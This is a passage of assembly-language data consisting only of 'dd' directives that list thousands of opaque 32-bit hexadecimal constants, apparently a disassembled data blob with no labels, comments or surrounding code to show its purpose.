		dd 6FBF2C56h, 281CD500h, 0FABD2DBAh, 0BB60309Bh, 180AD9E8h
		dd 0F24D1E7Ah, 83CB1E10h, 40E368CFh, 0C2C6D1E2h, 6D08CCAAh
		dd 68F6C4A9h, 8B20AC05h, 5820582h, 76484414h, 0B7830044h
		dd 90621394h, 0BB004BEEh, 0BDDCE29Ah, 245DC87Bh, 4FE4157Eh
		dd 0F3E906E0h, 1B4B9AABh, 0B19BFC41h, 66ECFCEDh, 0B57800B9h
		dd 7B1C4E2Eh, 173C7F15h, 0D6D10219h, 203F4633h,	89F6BBE2h
		dd 0F8D26F00h, 0D750C16Ch, 5CA90443h, 808615B1h, 1E19844Ch
		dd 278F952h, 0FAF067D8h, 126B31DAh, 38B70085h, 0B80F476Ah
		dd 9029A730h, 0C655B00Ch, 1B38C406h, 4C890F74h,	0C11C817Dh
		dd 0B8C3D1BAh, 12B22E13h, 7D8BBE6h, 0D6C06AB0h,	0DCB0909Fh
		dd 33659B7Bh, 0CFC66018h, 0D6AE0318h, 83FF946Fh, 40C05000h
		dd 0D35B54Eh, 0FA70C1C6h, 24D3F46Bh, 93FA0928h,	0A130CE73h
		dd 6B3920AFh, 0FAD74080h, 0B7E69F0Ch, 69683Ah, 0D09C731Fh
		dd 0D6EC124Bh, 409AFF24h, 11A6DF00h, 58D63B9h, 0F27A69F5h
		dd 2C944F56h, 5BAA2380h, 0A9306155h, 1E52A830h,	6CD2504Bh
		dd 609056DDh, 9A2D4902h, 0F0A12298h, 301806BEh,	0A60DF7F8h
		dd 8EFA053h, 7DF0048h, 5654183Eh, 6B8E607Ch, 3C02B516h
		dd 0C6CA911Ch, 2C086606h, 92844FEh, 899DA4Eh, 95FC104Bh
		dd 26603C39h, 326ACD80h, 0B6F61434h, 0C5FA4514h, 801D2494h
		dd 6A465Eh, 96A6333Fh, 18691004h, 0F8B60160h, 88058679h
		dd 0A706DC24h, 10ACEC49h, 77596C4Ch, 4278CC76h,	0D4A13851h
		dd 22C821A8h, 14363BE0h, 0BD9C8816h, 0A5B30F6h,	248D1200h
		dd 739E3F78h, 59346008h, 0DC8FA37h, 14BF703h, 0D0A9B7DFh
		dd 3CF3C16h, 0A0423185h, 0B8A653D6h, 1944DC87h,	9781EC60h
		dd 0D0A3AEEh, 6CC02BD6h, 0D58A691Dh, 670B94B3h,	23581333h
		dd 40394E8h, 8CA7DF18h,	0DD231762h, 0DE50B0FCh,	0BC2703D0h
		dd 74C968A7h, 67F25811h, 5C73220Eh, 6BBAD380h, 0BCFEB078h
		dd 0E1022B00h, 20524689h, 4B303E0h, 5BCB0D43h, 40BCA848h
		dd 26057E44h, 37A7E6A0h, 0B0808804h, 8B1C82h, 0C2CF4401h
		dd 8669F33Ch, 41FB8ECBh, 68A23A28h, 8784D7ACh, 7AC76B30h
		dd 0DA1709C0h, 0F1AA7CA0h, 500E02C6h, 5B6597h, 0DE82559Ch
		dd 12F01603h, 52181D87h, 50C01A5h, 815BD50Dh, 0A295CD61h
		dd 9C02858h, 0E890027h,	0D2EAC276h, 3800FA83h, 0F1C72BFCh
		dd 92053624h, 330A0074h, 91979B1h, 137CDC14h, 0D3FB6400h
		dd 0DD015F7Ch, 0F3B036CEh, 8E0C0810h, 808C8533h, 70E001F8h
		dd 0F2A00BD1h, 0A8B560C5h, 6AFDB40Fh, 202D0999h, 0A19FCC30h
		dd 0DBA000D4h, 38403E67h, 1D001269h, 0FE7FCD3Dh, 84D3069Fh
		dd 19A0313Ch, 7103C0Fh,	2F492CE3h, 6CFF8128h, 24AF518Bh
		dd 133EB0ECh, 0D21018DCh, 9A2B29h, 8E888531h, 0F93716F6h
		dd 10F8D892h, 0BB12380h, 5BCA5EC2h, 55042583h, 32C1F8F0h
		dd 947FF8E9h, 796B0303h, 2687F12Ch, 9CC08F0h, 6C81DD5Bh
		dd 30FA5CC6h, 99C015C0h, 6A36352Fh, 207C00CAh, 11B8CDE8h
		dd 3E020725h, 0A0186545h, 0B120A31Eh, 2C3900D7h, 5C274CFFh
		dd 7C93499Bh, 1D52770h,	7ED8A8ACh, 343135D6h, 0C09872F8h
		dd 38C2D20h, 759FE2FCh,	3187F991h, 50F63849h, 68AE7CD4h
		dd 6B584703h, 4BEB387h,	5CC5C318h, 62888014h, 20840F83h
		dd 0FB042E4Ah, 88DE03A8h, 0D6800CDBh, 0F07803B5h, 43B2000h
		dd 718FE577h, 50064C1Ah, 6A3D5580h, 5E03A7A0h, 899593C5h
		dd 49FDA87Eh, 3C90B8E3h, 3680822Fh, 31DD3DE9h, 7F1F8A6Ah
		dd 0FC64F22Dh, 0A694F583h, 0E99A9884h, 60B7327h, 6BDC73D1h
		dd 2CE4D969h, 35ECC709h, 0FA90484Bh, 2ECD1233h,	0FC00145Eh
		dd 0E0EF0714h, 3EAA81Fh, 3D946BF9h, 45B22001h, 0C45DB939h
		dd 4108D420h, 0FA67F088h, 7935DD05h, 0D8D8CE26h, 46108A7h
		dd 0D7C69352h, 6F8B0021h, 384B5162h, 215D16C6h,	3AF803E4h
		dd 83CEDC66h, 42E7E80Ah, 3EF39E1h, 0CF2EF280h, 0B52B5D2Ah
		dd 91A52412h, 0B587149Bh, 604CC72Ah, 6DF459Fh, 4DDCD000h
		dd 17013627h, 38C42857h, 196D0BB8h, 0FC012D7Dh,	333C1Bh
		dd 396B10B0h, 0C6872A2Fh, 8941B8A7h, 0C848C8A9h, 0E1D0A7Bh
		dd 83C055E9h, 0AF7F272Ch, 0A7E12809h, 3BDB0AB0h, 28A4A451h
		dd 0B0A1CEDDh, 0CDC0E300h, 6F05A2A9h, 448A3579h, 0FE945480h
		dd 9584003Ah, 7BD721D1h, 774883B4h, 0A1D022B8h,	0BED4CD46h
		dd 94F54826h, 0AED6E102h, 24ECA9CAh, 0B444E502h, 19B376B6h
		dd 9CED1046h, 2E6EC39h,	0B2141B5Eh, 0AC6A8D35h,	31A19441h
		dd 9350642Fh, 44E3248Ch, 2C86147Dh, 0EF803F88h,	329C399Ah
		dd 5BD81EE1h, 7B426B8h,	4037590Dh, 0AF2F69FFh, 5C800891h
		dd 0A3CAA915h, 0DECB0777h, 40F24C87h, 544AFEE4h, 0D8E95909h
		dd 0B0F4C004h, 3B4026F9h, 72A04CE4h, 0E2010743h, 0EEB5D744h
		dd 88400CE4h, 390199E8h, 19E7ABC9h, 0DCD046EFh,	0C0AE09F1h
		dd 1180FF3Dh, 76CC5C1Eh, 347F6604h, 78B441ACh, 99F70061h
		dd 4A0DD6E5h, 6B008B63h, 2EBB8A3Ah, 9022A11Eh, 6919132Ch
		dd 39B86179h, 2049C565h, 0DB0A1B8Eh, 0E8CA66EEh, 0CD46ACA8h
		dd 361E002h, 0D631DB52h, 61DF0015h, 0A7B40A12h,	0D805C012h
		dd 5CE54C00h, 3147335Eh, 9BB11F81h, 4C345C0h, 0D4F255E4h
		dd 99A004ACh, 65FC802Dh, 0FE02B5FFh, 6306DBE1h,	0F394E44Ch
		dd 171DFF18h, 0D42EA7A8h, 0F7E070h, 36B65117h, 0ABBDAC89h
		dd 2DBAF09h, 0FFC861B0h, 6709D618h, 65AAFAE2h, 0CF638050h
		dd 3E014E68h, 0F94DDF04h
		dd 64D134A3h, 58F6ADB0h, 3EEC9018h, 76402285h, 31A27A27h
		dd 0B10017D8h, 8130645Eh, 0D6528053h, 0E833605Bh, 2027C944h
		dd 0DC2A4802h, 7B05D934h, 93D3821Ch, 209C65D1h,	50C3623h
		dd 0D73E52h, 637D84C5h,	694C740Bh, 16C11226h, 0B938E8A4h
		dd 25EB800Ch, 0C74EA375h, 0D429FB03h, 90160491h, 696550B5h
		dd 3C1840CFh, 0F0001387h, 9F6F1A59h, 77CCBC72h,	0B5A93AB0h
		dd 0EA9EBD00h, 5DC2C456h, 384DCE20h, 94801C36h,	77ED25BFh
		dd 3B000CACh, 0FA4CF57Bh, 908F1143h, 0B42600A8h, 0E32459BFh
		dd 0AD3D66DCh, 86C01F2h, 6069E0E9h, 2C123C39h, 0E18497B2h
		dd 0DA5153h, 7E5EC16Ah,	296175D2h, 0BFC4A34h, 57D05BA3h
		dd 8F36E900h, 538D69A1h, 0AB087878h, 9AC0C788h,	5C1F0E8Eh
		dd 144F06BFh, 0BA0C5DE4h, 24D8571Ah, 3607F891h,	0C0EE2146h
		dd 0C06B42DCh, 0F0C8C0B0h, 99DA4DACh, 0F447BB00h, 9D70A269h
		dd 13B11E5Eh, 2AB9407Bh, 8A4A140h, 0A24D1903h, 1640321h
		dd 0C98B0C28h, 60F06F35h, 0D41D17BFh, 791CA37Dh, 0C02620F0h
		dd 93E0335h, 0D1682810h, 0AA1907C8h, 0C7C92400h, 0A7D4BB91h
		dd 0CAA20367h, 0B44A3B1Bh, 0D0C16BA3h, 2BF9EC93h, 0BC8CD70Ch
		dd 0C01809EFh, 0A44BB021h, 50066EB2h, 234A56F1h, 97700018h
		dd 0EB7658Ah, 453E6A52h, 0C5607950h, 68D67039h,	184830C0h
		dd 0FF3BAC11h, 6745D3Ah, 2B8CB31Eh, 88AE5408h, 0E93348CEh
		dd 0BCBD2E00h, 97130332h, 292A751Ah, 228C04D1h,	6E35CE60h
		dd 8CDF023h, 2500A080h,	0B14335F9h, 0EE2C003Dh,	649FF896h
		dd 4618AB62h, 7BB067E0h, 5D2414EAh, 291D94DDh, 70091850h
		dd 7602A334h, 0C58889F1h, 10E842D5h, 11FF4268h,	8833745Ah
		dd 3ACD80AFh, 435840FFh, 0CB007F76h, 74C29CD9h,	0F7FC3104h
		dd 0E0466920h, 618A6068h, 7CDD7657h, 3E3F8B78h,	259380A8h
		dd 1DA7B1A0h, 40E9008Dh, 0B8DC054Fh, 7E039D26h,	3ABAAD04h
		dd 0CAE8A0AEh, 0D1FE87h, 6F7C9EAh, 0B8D8D6FDh, 77B03000h
		dd 49514C0Eh, 92891E24h, 0BEFD01BDh, 7A691DAFh,	68886780h
		dd 8E5E00F2h, 5DB09CB3h, 2FFC9D9Ah, 62F66701h, 9E63A3D5h
		dd 5F89E4h, 5DE11458h, 0E493BACCh, 0DB98F2E8h, 465A6D00h
		dd 0CF17A7B7h, 0DB84077Fh, 0C06EA6AEh, 198F7668h, 3BEC3Eh
		dd 1724CBB8h, 0E704BBEh, 0D22EAA4Ch, 0DDBA7C80h, 8C002634h
		dd 28EAC188h, 0E6431927h, 5CDE0037h, 0DBE6839Fh, 0BA33348Ch
		dd 5809F3h, 83D73C21h, 70A7DBC2h, 4C0024F8h, 20777EF6h
		dd 0C589A14h, 128995CFh, 7C0E9C30h, 8FC540D9h, 6F7E002Eh
		dd 63A10EDh, 3F432B11h,	0A6600809h, 0E803FF21h,	8BAD0015h
		dd 0F682E216h, 0D6302AF7h, 907C815Eh, 0E4F41D38h, 0E10304Ch
		dd 6D018011h, 505BB393h, 89803AAh, 0B268312Eh, 22418600h
		dd 0E5C4B36h, 0CAC11E80h, 0E82B02CEh, 84AE7F08h, 83A28031h
		dd 8C74DBE7h, 0E433AD44h, 21090383h, 7C9F2217h,	5D5084D8h
		dd 0BD3C80A0h, 8053D43Eh, 0DFE9EE19h, 0E8EC04h,	8B78496Ch
		dd 639D4240h, 7186BA00h, 3D53DE35h, 1E5A00C5h, 2517DDE7h
		dd 92028C23h, 0DB1D5738h, 0E68F60DCh, 0B2613BC6h, 280F5D00h
		dd 43D96E93h, 0DEE27B00h, 0B7A00365h, 6D760074h, 0DBEE2BCEh
		dd 0CF1D96F9h, 161CD0A8h, 0E4C080FAh, 615A604Fh, 0AF64C791h
		dd 0D6FE104Bh, 78013DE5h, 3CA949D5h, 0A77077CAh, 722B009Bh
		dd 65E10F57h, 6E70AA44h, 0C7EF3804h, 5780D117h,	0F8B3D0A6h
		dd 9BDA0157h, 88A1F20Ch, 42E6C83Bh, 9EE58501h, 0E0B6935Ch
		dd 3AA32880h, 0F2CF0C9Ah, 0FA315D7Ch, 0DBEF18CEh, 187B40A8h
		dd 11FFB54Eh, 61048352h, 35989559h, 37915AC3h, 0F0211608h
		dd 0CEC9609Ch, 0F8F75818h, 20EFA698h, 0A83E84F5h, 1A607B38h
		dd 7B5A8F18h, 3A5F8B1h,	2456504Dh, 71B89A65h, 75000A7Dh
		dd 0BD5A4E13h, 392C3412h, 0F7B5E9h, 0C220A1F3h,	0BB5543A9h
		dd 1EBF5600h, 9F458146h, 51E30084h, 6B17E578h, 7A0063BDh
		dd 7F941225h, 0C5824h, 0F12795B8h, 0A429494Fh, 0D343900h
		dd 9B26535h, 0BD97EF2h,	8CFA31F0h, 0D6857180h, 0A800DDA2h
		dd 32B122F8h, 1F1C8816h, 873FF21Fh, 60E3712Ah, 8A8C73B9h
		dd 82E84200h, 5635C3C4h, 3F490F03h, 87C074C8h, 0EBFB6A53h
		dd 2A5C8095h, 0B56F42h,	43ADB93Bh, 1A223DF6h, 2BB6FF00h
		dd 9997E43Ah, 0C78700BAh, 0F88BDCF0h, 7900A374h, 89831EAFh
		dd 7C194790h, 0A1E63E87h, 0B763030Fh, 0B0314A80h, 1760ED09h
		dd 87425328h, 0C582006Dh, 4013F1F9h, 0B760613Ch, 0E1EFD199h
		dd 755000AFh, 0AD0493Bh, 3774EA99h, 0BBA0C876h,	0B40312ACh
		dd 3E516E6Ch, 78A960FAh, 0B580FDF1h, 72478900h,	271909A9h
		dd 0EA79F0B4h, 0BAF0397Eh, 0F1977D80h, 3AA40EA8h, 0FC4E4100h
		dd 174DFF6Eh, 0D45C0AC8h, 30A2C498h, 44377DD0h,	0B28DF717h
		dd 9D107B00h, 0F847533h, 0D7663642h, 0B600258Eh, 0C2DB3A7Dh
		dd 16A9F700h, 66E41C09h, 9B100097h, 0AD0311C0h,	0DCFF967Eh
		dd 0AF002862h, 8974DCC4h, 0B886257Bh, 977E0063h, 9D9516CCh
		dd 70002D13h, 0C3EDEE76h, 1CF542C9h, 800EA531h,	3AE22B81h
		dd 0A600F95Eh, 33FF5473h, 746ED3C4h, 2F2900C3h,	898094E7h
		dd 0B00F5EEh, 19445BF7h, 0FE59C6h, 0E3049B1Ch, 0BD1B4397h
		dd 2DB32A0Fh, 0C5EC83E6h, 0A214A826h, 318600DEh, 0B0C21F91h
		dd 953CD8B8h, 75120015h, 0D6F4CBAh, 46851298h, 774100E1h
		dd 8C8AB67Dh, 0CF6B1C1Fh, 53AAEEC0h, 1ECE4206h,	4018E1FBh
		dd 6CDB4E07h, 0EBFA2665h, 0A0C310C0h, 760E9B60h, 0D7B00A18h
		dd 3BB04D55h, 2CCC1701h, 0CBF3085Ah, 1FB495B0h,	49E1A507h
		dd 0BB215B3Bh, 9960AC76h, 40270020h, 51612228h,	0BA3B692Fh
		dd 47460073h, 0EFEE1F2h, 0F9773Eh, 207FB01Eh, 1A6DC68Ch
		dd 0F004276h, 366A4FBFh, 2A4A2h, 3AEB09DFh, 4B39F3F4h
		dd 80FE483Ch, 55E83722h, 208D92h, 0BDDE59Dh, 7F26E58h
		dd 0B3B8B401h, 57CFC2ADh, 2AAABC0h, 0A09DC160h,	0B6603856h
		dd 1700CC6Bh, 0BCD44C3h, 11751Bh, 0FF7FC74Eh, 435CDA0Dh
		dd 323E0900h, 0AEE26A56h, 279F0071h, 0BF127DAAh, 0DA01434Bh
		dd 2117FFFAh, 10D8A3CDh, 405A0737h, 0F0C6A45Dh,	18B5CF59h
		dd 42610700h, 9229A7AFh, 0B0F80086h, 0B72D606Bh, 6400C185h
		dd 37369950h, 74CA1806h, 0B34E01B1h, 0C9D8C74Ch, 0E058C8AAh
		dd 0E9A2191Ch, 3B4D5Fh,	98339149h, 0AE84F4Eh, 18C8C030h
		dd 0AF133AF6h, 0DC00BFEAh, 0C29E3D11h, 0D85E0071h, 278AB817h
		dd 0F30039EBh, 0F141E7E0h, 1F7D893Eh, 405872A7h, 0BFBAFC03h
		dd 6AFC3528h, 7E3AC203h, 3D9A37Bh, 82317430h, 48C0548Fh
		dd 0E18E040h, 0F1403FB6h, 5A7400B5h, 882C457Ch,	0C503FA83h
		dd 0A49F6E0Ah, 74EA9054h, 171812D0h, 0F1ECFFh, 0DB0E921Fh
		dd 97401Dh, 1114431Eh, 2AF92D91h, 6E26D000h, 860173FCh
		dd 1ACB01D8h, 4106847Dh, 97D020B5h, 3625A600h, 0BE9C7CE2h
		dd 9A6401A5h, 0F99D8DF0h, 0C057023h, 6A8FF400h,	92726217h
		dd 3E110080h, 35A9AF1Eh, 0D804A6C6h, 3251E50Bh,	0C0E1CAC3h
		dd 489F59DEh, 10006A2Ch, 0D7C20A66h, 0B501B27Dh, 0B90D05C7h
		dd 52305F2Fh, 0A5C00091h, 929FAF5Eh, 36074AB7h,	45E73AD6h
		dd 75E06A00h, 5AC400ABh, 9378C6FDh, 0A800CE58h,	0E936F435h
		dd 12663C3Bh, 1C76A9Eh,	0ECF2ADECh, 150CD07Dh, 0B2B4F804h
		dd 0E6C0B866h, 7858E237h
		dd 0AA910026h, 82AD459Bh, 9600C5E0h, 0A0EB74B1h, 0F6B4F62h
		dd 20B2DA7Dh, 9E2765E0h, 5603BD46h, 409C1243h, 3AFFE08Ah
		dd 616C00D0h, 0CA44141Ah, 5AE0CEACh, 7E8B3138h,	0FFDF3Dh
		dd 0B43FFC24h, 8A31Bh, 399D3B5Ch, 1D953244h, 0D007ED76h
		dd 133C2030h, 0FD2FEFD0h, 5A0506FFh, 0A8955C51h, 0DE00B1F2h
		dd 0CDCAAEF4h, 3E8B01C1h, 3D00D675h, 5D810434h,	0D40CA413h
		dd 0F036468Dh, 0EA8EB002h, 890F007Dh, 14F4C259h, 1F07BF8Eh
		dd 0F9B4C0DBh, 8C52E1AFh, 0C2078E5h, 0FAA40F72h, 41E00A1Eh
		dd 0AAFDF3F6h, 5926F900h, 46888B58h, 2ABE006Fh,	0F8CCF02Bh
		dd 9A79DED5h, 9B023875h, 4D14799Ch, 6DE48797h, 0D0C55523h
		dd 0C0506FDEh, 7A31DB99h, 0E6060F4Eh, 0E3EE91D9h, 3C10318h
		dd 0E5908F9Ah, 223B1120h, 3378231Dh, 0ADAB3507h, 787BAF6h
		dd 8E7126FEh, 91E30721h, 0A9025F38h, 0E9D92420h, 0DA3947EDh
		dd 5DC383A5h, 0E0213F0Ch, 209E28h, 0A9430EDDh, 0E487866Ah
		dd 0E0539200h, 938686Bh, 1B1C9206h, 50AF48B5h, 0B9302FC3h
		dd 309E682Ch, 82EEEFF0h, 8C103910h, 1D55721Ch, 423C3226h
		dd 0EB9450F2h, 0ECD60040h, 93643A00h, 4A7A1174h, 58B10090h
		dd 0C54F6DD2h, 0CBF6570Eh, 78D37300h, 49441AA3h, 7F398AFh
		dd 0B0713E0h, 0A2C3A01Eh, 0A7F072D7h, 3CD06703h, 0F8EC2F7Ah
		dd 0FE05F441h, 0EE9A00B8h, 0FD420F9h, 0A9009B2Bh, 0D0F671ACh
		dd 0C237925h, 0B4751858h, 73EEA5C1h, 86FB5200h,	50117E65h
		dd 0B972301Fh, 3DEA721h, 0FBF8E1C0h, 1C9D4525h,	710F06Bh
		dd 0F0B18FBDh, 0D50A2CEEh, 0CC2A8D03h, 1CA975E1h, 797DC41h
		dd 0F33B3313h, 0EBE02CBCh, 9B013EFBh, 43AF593h,	62C4F9CEh
		dd 3CDF501Fh, 80A07410h, 0F80078ECh, 0CD979C21h, 0E913A96h
		dd 0B00AC77Eh, 0DB8C8E80h, 370090E7h, 0F38ADD76h, 60ECCD6h
		dd 2D6768FDh, 0B6EE495Eh, 0CFC61D06h, 0F8D02B2Fh, 0CC9400A3h
		dd 0BB6B0941h, 3100B60Bh, 45202EE9h, 653815h, 0D1701EDFh
		dd 74A71B42h, 0AFA09CA4h, 3C004BC0h, 5AAAB398h,	0B8AB0424h
		dd 0F8B50714h, 0D0B68908h, 0C2D91910h, 460B3900h, 0A4F78272h
		dd 0B24200E8h, 5B5C5980h, 60927AE4h, 0C50AE980h, 0EA9EED03h
		dd 0B073DDF9h, 0C0CD7598h, 0A2F69079h, 4302F465h, 0E19FBC07h
		dd 0F9D0A0E9h, 0F153B6h, 723AE752h, 6F1BEDC6h, 0A1DF7D01h
		dd 81D81ABFh, 2351DDh, 743A2100h, 0EB525F88h, 2D009AFAh
		dd 0C18BDD04h, 229508BBh, 0A8003CE2h, 654CDCD2h, 1B6B7Fh
		dd 0D94705A1h, 55206058h, 9B234114h, 322F04B4h,	0CC8831F0h
		dd 0A37300B4h, 92994EC2h, 130014C6h, 26E6E893h,	91DF03D1h
		dd 0D6A70EA8h, 0D0D50091h, 5FAAA842h, 19596331h, 21005DE2h
		dd 0FDC409A0h, 0CE404Fh, 79C683E0h, 7F5F0438h, 3EB4E70Ch
		dd 773059B0h, 0CD871C3Dh, 14F201D4h, 807247A1h,	6D52EFA1h
		dd 7C568D1Dh, 1068495Bh, 97019443h, 1482F6E4h, 0BFCD47Ah
		dd 0BFD0CF50h, 3E8B5308h, 797B9h, 0AD1C9F77h, 5F63DE1Fh
		dd 3DAC1019h, 28176C1h,	7A0EAA43h, 706DF48Ch, 2908C000h
		dd 6F875B48h, 413A01D1h, 0E1E3C72Bh, 1BF18058h,	7A8C0694h
		dd 0F5610037h, 6A3ADD9Ch, 66034778h, 385FE784h,	0E169264Bh
		dd 0D764404Ch, 4600B421h, 312288DAh, 1FA06B58h,	81D184EBh
		dd 0C9A665F9h, 0F8319225h, 1D190000h, 3B232F6h,	9B7A5648h
		dd 0E9008840h, 0BFE7CE91h, 60E1E4C8h, 337E3911h, 2A005637h
		dd 41ED93C9h, 7BAE7F9Bh, 0C2A618B7h, 0B2E429CDh, 0A9A11130h
		dd 1A8B307h, 6493D69Ch,	0FA3C034Eh, 8C3BFCE0h, 8F3C412h
		dd 71E56804h, 0A32538D0h, 4142600Fh, 279869F0h,	0F76AE400h
		dd 6F0DDDFDh, 0FFCA30A6h, 0C03EB671h, 0DC02F37Ch, 0F44469E1h
		dd 105440B5h, 0F8CD0057h, 29FD74ABh, 0A8076C72h, 0E2932DB7h
		dd 0FCC041FCh, 8D7350F1h, 0B6210140h, 96019F38h, 0F06457F9h
		dd 0C4B9648Ah, 0E544590Eh, 6B49E065h, 541D7F38h, 842CD05Dh
		dd 0BD0067F6h, 268FA79Ah, 0C7357D13h, 2B788318h, 81526883h
		dd 5788D5BBh, 104C98E2h, 385BC0CCh, 246B1571h, 44C12Dh
		dd 3AD0CA76h, 0BD1C4560h, 1E8068E4h, 46509363h,	0ECDD30A7h
		dd 0D6571FA9h, 0AD7F6804h, 54820748h, 0C8A723AFh, 0B31E29FEh
		dd 0D954BE2Eh, 89DD80FCh, 177075BFh, 9D380Dh, 5F3DB64Ah
		dd 32F51337h, 70670FACh, 3B56E510h, 0A9BD81C0h,	0AD316CBh
		dd 37C200D9h, 0FA108742h, 4079B560h, 248DEBA7h,	1ACF1F0h
		dd 3F782270h, 402412CEh, 710C1141h, 0A6763053h,	3B2D0919h
		dd 31015F00h, 8C040D96h, 0A5FF0274h, 7D6E9E68h,	6021B062h
		dd 0E0250C69h, 0F770EACDh, 0A4FD7826h, 4D483900h, 0FF38FBEh
		dd 4C41E876h, 0DEA62F21h, 0FC88500Fh, 0AE0067DDh, 8D17C3FFh
		dd 91E2EF10h, 40159E14h, 32032153h, 2000149Bh, 0AC0B858Eh
		dd 26F3AD6Eh, 6104905Ch, 0C9CC59FCh, 7E49D81Ah,	0BC0FE1EEh
		dd 406D8828h, 0A97F6948h, 0C0E35838h, 59F20096h, 0D1538BC4h
		dd 9B3DD200h, 0ED248D43h, 0B921528h, 0DC00C05Eh, 0DF2F3FCAh
		dd 913B137Ah, 0B8985467h, 0F20EF118h, 0E48E29h,	0EF8106ABh
		dd 7A3BD6D4h, 0D5126BE0h, 1820CAA7h, 0C5E20B3h,	0BA7215EFh
		dd 93787C49h, 11B6DE34h, 89F15880h, 0D8A726C9h,	0AB3840FCh
		dd 0FA189981h, 0DA81A812h, 0F494009Eh, 6C276B67h, 0E103FE6Fh
		dd 74F5FD1Bh, 4D5100A1h, 6964160Ch, 0FB006F20h,	7B46065h
		dd 4C531F3h, 6D4C82D6h,	2F85C167h, 3BD18029h, 99101C02h
		dd 0A55B0E26h, 2541C979h, 8C4A695h, 20EF0A1Fh, 54322Ah
		dd 8D94066Ch, 0EB13E628h, 0FC20F115h, 63322B57h, 8330296Fh
		dd 0E6E5FAD0h, 71F2C04h, 110B5C21h, 0E2195890h,	55120F07h
		dd 0B17060E5h, 226A37h,	4A4561F9h, 0C042F79Bh, 87A0EC99h
		dd 17039C7Dh, 0EF84513h, 58D12C56h, 382E00CEh, 140987F2h
		dd 3B01FD72h, 48EE40E7h, 0A980AD3Fh, 0A6BEE604h, 7B00EAECh
		dd 0A776E068h, 0EB3EBFh, 2132A3CBh, 0D05D10E4h,	57E30903h
		dd 184D905Bh, 49AA3E69h, 0A001BC9h, 6EC2E28Bh, 5610157h
		dd 0F2BD984Dh, 3AC82DFh, 0FFDB10E0h, 98D5542Ch,	94B38F00h
		dd 0DD2A2FEAh, 49404051h, 0D676BB47h, 1F24539h,	9D0190DCh
		dd 0FAE03169h, 8EA1008Fh, 8529B1ADh, 5A54E19Ah,	3F004188h
		dd 34DDE423h, 96B72Eh, 0D391487Fh, 78F464ABh, 0BC32682Ah
		dd 0B7A7B803h, 95F102Eh, 72DDEC11h, 670D2E03h, 0C2569100h
		dd 0E892EA57h, 12B095h,	0DEDA6C1Ah, 24041D3Eh, 8C8A7C24h
		dd 0BEF45E60h, 0ACED00A0h, 5031A791h, 6C9460C1h, 0C0EB9643h
		dd 0A13ABCh, 0DD0E159Ah, 0D2A82F7h, 3848E31Ch, 35B30282h
		dd 7330C05Eh, 2F8F00A1h, 0C5A7193Bh, 0FE263AB1h, 3F0238C6h
		dd 44E199BCh, 542C00F4h, 1911AD50h, 3A00BA84h, 8BE74671h
		dd 0B1E20640h, 0B02700D4h, 0BDF7EF02h, 31FC9901h, 0D51F7F67h
		dd 0DDAC5887h, 0D6EAD39Bh, 34C098A2h, 0C848A910h, 26B68084h
		dd 48270C1Bh, 8A870074h, 1741B060h, 2BECC3FEh, 0E852C000h
		dd 0B2C66B3Ah, 0D940A894h, 61DB056Eh, 88336774h, 0E807916Ch
		dd 0B4BF37D0h, 47B2C40h, 0DE8CBBDh, 7A1CE400h, 78B1114Bh
		dd 959E9207h, 941059B0h, 9BA5012Bh, 0FEBF86BAh,	0E5083Eh
		dd 68F0D0E4h, 0A52DD7CAh, 89EEE230h, 80F67Bh, 0E339BF01h
		dd 0B7FBA9C8h, 0D4F06F18h, 96E83CC2h, 830540D8h, 3E13095Ch
		dd 0CC008C2Ch, 11299878h
		dd 63DD13AAh, 565C0004h, 0C0ABC292h, 4F816817h,	7CC410h
		dd 5B0A114Ch, 0FB15DDF2h, 9893B660h, 8034997Ch,	2195A613h
		dd 0F906EABFh, 0D8A17CABh, 0FC365841h, 40024058h, 3ED3A973h
		dd 24013864h, 0B7A34670h, 0A443FD06h, 12BDD1B2h, 38031C62h
		dd 7EFB9D54h, 95C8DC88h, 0DABF38h, 0A5138B9Ch, 9AA49FA7h
		dd 0CFF62E58h, 0C741F04h, 1F815BC2h, 88E653h, 6D35BA13h
		dd 0CEF20FDh, 60B5A163h, 14A075A9h, 18798C31h, 418DDE01h
		dd 0C8941A29h, 0BB875180h, 93FA4B83h, 0A5EB1E01h, 4091983Eh
		dd 42580872h, 84CB5700h, 0DABBD2F1h, 2600DFB8h,	25230E35h
		dd 298ECAC4h, 84AB1Fh, 45461B38h, 900E602Bh, 21175742h
		dd 0E2102A8Ch, 0D7470h,	8B94C661h, 0E88D1403h, 0AD20B4A0h
		dd 2C0256E4h, 9E46B6EAh, 0BECE85FBh, 0CE5BB800h, 78DDFF0h
		dd 97600537h, 9E0760C4h, 0D0A6A7E8h, 0F70C56EAh, 91B37408h
		dd 0A10C00B9h, 0B7AE866Fh, 774A8E10h, 406E604Eh, 7BE496ADh
		dd 3F4902E6h, 0B932DFFh, 0FD7E2864h, 6F83400h, 0C0ADDB3Eh
		dd 0AC3A0641h, 49494E5Fh, 0FF094F90h, 64D5112Ah, 2CEB003Ch
		dd 3D012271h, 511E9C25h, 3880B356h, 24CCFFC0h, 2E5BE24Eh
		dd 19CCDD2h, 7552EE8Bh,	140017B8h, 7499FEE4h, 34B20FA3h
		dd 10865212h, 0D80079AEh, 1705E8B7h, 59E060h, 43078CC6h
		dd 6A5ED37h, 443CE324h,	3E6DCC03h, 0B2591DABh, 1471800Bh
		dd 0AF02C227h, 0FB30B109h, 20C884A6h, 0DB0068A2h, 0ED19B429h
		dd 98007094h, 3AB530A5h, 76BD7261h, 78CCA0FDh, 0AFC802CAh
		dd 7109920h, 0F3AEBC90h, 4840F548h, 0C894F0h, 7BC9B172h
		dd 9C0262h, 4E3BD08Ah, 0AE2C66F1h, 3E08096h, 8D5B79h, 0A2AD6F31h
		dd 0BFE2DA23h, 98881300h, 109F52FCh, 639C357h, 0A3E0DA19h
		dd 69008D0Bh, 78F176B4h, 9C75DF64h, 0A987BE28h,	90590509h
		dd 4333EA21h, 0C16B3907h, 90EB1F52h, 12963B8Ch,	1ECB084Fh
		dd 0C99943C4h, 0A8814629h, 1450626Ch, 8270345Fh, 0C4E2F1C5h
		dd 1C69F288h, 40EB78ADh, 854CA502h, 0F74CC157h,	142F0058h
		dd 0D6F20901h, 7B2A1744h, 39603006h, 0D7F25EE5h, 64B54B07h
		dd 0D2642D30h, 0DD14C8C0h, 635A020Fh, 0ACAF198Bh, 0AEA5F098h
		dd 0F08A5802h, 513AD255h, 495D005Ch, 2B97C231h,	0B058B500h
		dd 358EA930h, 748D3FF6h, 0DC124h, 837351FDh, 0DD4B1F7Dh
		dd 10DB3022h, 250075B5h, 9896FF84h, 5CA99DB4h, 2400302Ch
